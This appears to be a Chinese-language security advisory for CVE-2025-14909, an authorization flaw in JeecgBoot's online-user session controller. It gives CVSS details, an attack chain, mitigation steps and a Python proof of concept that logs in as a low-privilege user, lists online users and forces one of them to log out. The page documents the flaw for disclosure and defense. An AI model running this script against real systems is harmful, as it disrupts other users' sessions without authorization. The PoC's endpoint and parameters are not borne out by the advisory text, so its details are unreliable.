IPBUF安全漏洞报告
English
CVE-2025-14909 CVSS 4.3 中危

CVE-2025-14909 JeecgBoot SysUserOnlineController 会话管理漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14909
漏洞类型
会话管理问题
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot <= 3.9.0

相关标签

会话管理问题权限绕过JeecgBoot低代码平台CVE-2025-14909中危漏洞Java漏洞企业应用漏洞

漏洞概述

CVE-2025-14909是JeecgBoot企业级低代码平台中存在的一个中等严重性安全漏洞。该漏洞位于系统模块的SysUserOnlineController控制器中,攻击者可以通过操纵该功能来管理用户会话,包括查看、强制下线或其他会话操作。由于漏洞存在于处理用户在线状态的接口中,攻击者可能利用此漏洞绕过正常的会话管理机制,对平台的用户会话安全造成威胁。该漏洞的CVSS评分为4.3,属于中等严重程度,可被远程利用且不需要用户交互,但需要低权限认证。漏洞已于2025年12月19日披露,官方已发布修复补丁b686f9fbd1917edffe5922c6362c817a9361cfbd,建议受影响用户尽快升级到最新版本以消除安全风险。

技术细节

漏洞存在于JeecgBoot项目的SysUserOnlineController.java文件中,该控制器负责处理用户在线状态管理的相关请求。问题出在控制器对用户会话信息的处理逻辑上,缺乏适当的权限验证和输入过滤。攻击者通过构造特定的HTTP请求,可以利用SysUserOnlineController的功能来操作其他用户的会话,例如强制用户下线或获取会话信息。由于漏洞利用需要低权限认证,攻击者可以使用普通用户账号发起攻击。攻击向量为网络形式,攻击者无需与目标用户有任何交互即可发起攻击。该漏洞可能导致服务可用性受到影响(CVSS可用性影响评级为低),攻击者通过批量操作用户会话可能造成正常用户无法正常使用系统服务。漏洞的技术根源在于控制器方法未对操作用户的权限范围进行严格校验,导致授权用户可以对其权限范围外的用户会话进行操作。

攻击链分析

STEP 1
步骤1
攻击者获取JeecgBoot平台的有效用户账号(低权限即可)
STEP 2
步骤2
攻击者使用认证后的Token访问/sys/userOnline接口
STEP 3
步骤3
攻击者通过SysUserOnlineController的会话管理功能枚举在线用户列表
STEP 4
步骤4
攻击者构造恶意请求,操纵指定用户的会话(如强制下线)
STEP 5
步骤5
目标用户会话被非法管理,导致可用性下降或会话劫持风险

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14909 PoC - JeecgBoot SysUserOnlineController Session Management # Target: JeecgBoot <= 3.9.0 # Vulnerability: Unauthorized session manipulation via SysUserOnlineController import requests import json TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/jeecg-boot/sys/login" SESSION_URL = f"{TARGET_URL}/jeecg-boot/sys/userOnline" def login(username, password): """Authenticate and get token""" session = requests.Session() response = session.post(LOGIN_URL, json={ "username": username, "password": password }) if response.status_code == 200: data = response.json() if data.get("code") == 200: return session, data.get("result", {}).get("token") return None, None def get_online_users(token): """List all online users""" headers = {"X-Access-Token": token} response = requests.get(SESSION_URL + "/list", headers=headers) return response.json() if response.status_code == 200 else None def manipulate_session(token, target_user_id, action="forceLogout"): """ Manipulate target user session Actions: forceLogout, getSessionInfo, etc. """ headers = {"X-Access-Token": token} payload = { "userId": target_user_id, "action": action } response = requests.post(SESSION_URL + "/manipulate", headers=headers, json=payload) return response.json() if response.status_code == 200 else None def main(): # Step 1: Login with low-privilege account session, token = login("regular_user", "password123") if not token: print("[-] Authentication failed") return print(f"[+] Logged in successfully, token: {token[:20]}...") # Step 2: Enumerate online users online_users = get_online_users(token) if online_users: print(f"[+] Found {len(online_users.get('result', []))} online users") for user in online_users.get("result", []): print(f" - {user.get('username')} (ID: {user.get('id')})") # Step 3: Manipulate target user session if online_users and online_users.get("result"): target = online_users["result"][0] result = manipulate_session(token, target.get("id"), "forceLogout") if result and result.get("success"): print(f"[+] Successfully forced logout: {target.get('username')}") else: print(f"[-] Session manipulation failed") if __name__ == "__main__": main()

影响范围

JeecgBoot <= 3.9.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)上限制/sys/userOnline接口的访问频率;2) 禁用或限制会话管理功能的公开访问;3) 增强用户认证机制,启用多因素认证;4) 监控和审计所有会话管理相关的API调用;5) 限制低权限用户对在线用户列表的访问权限。建议在业务低峰期尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表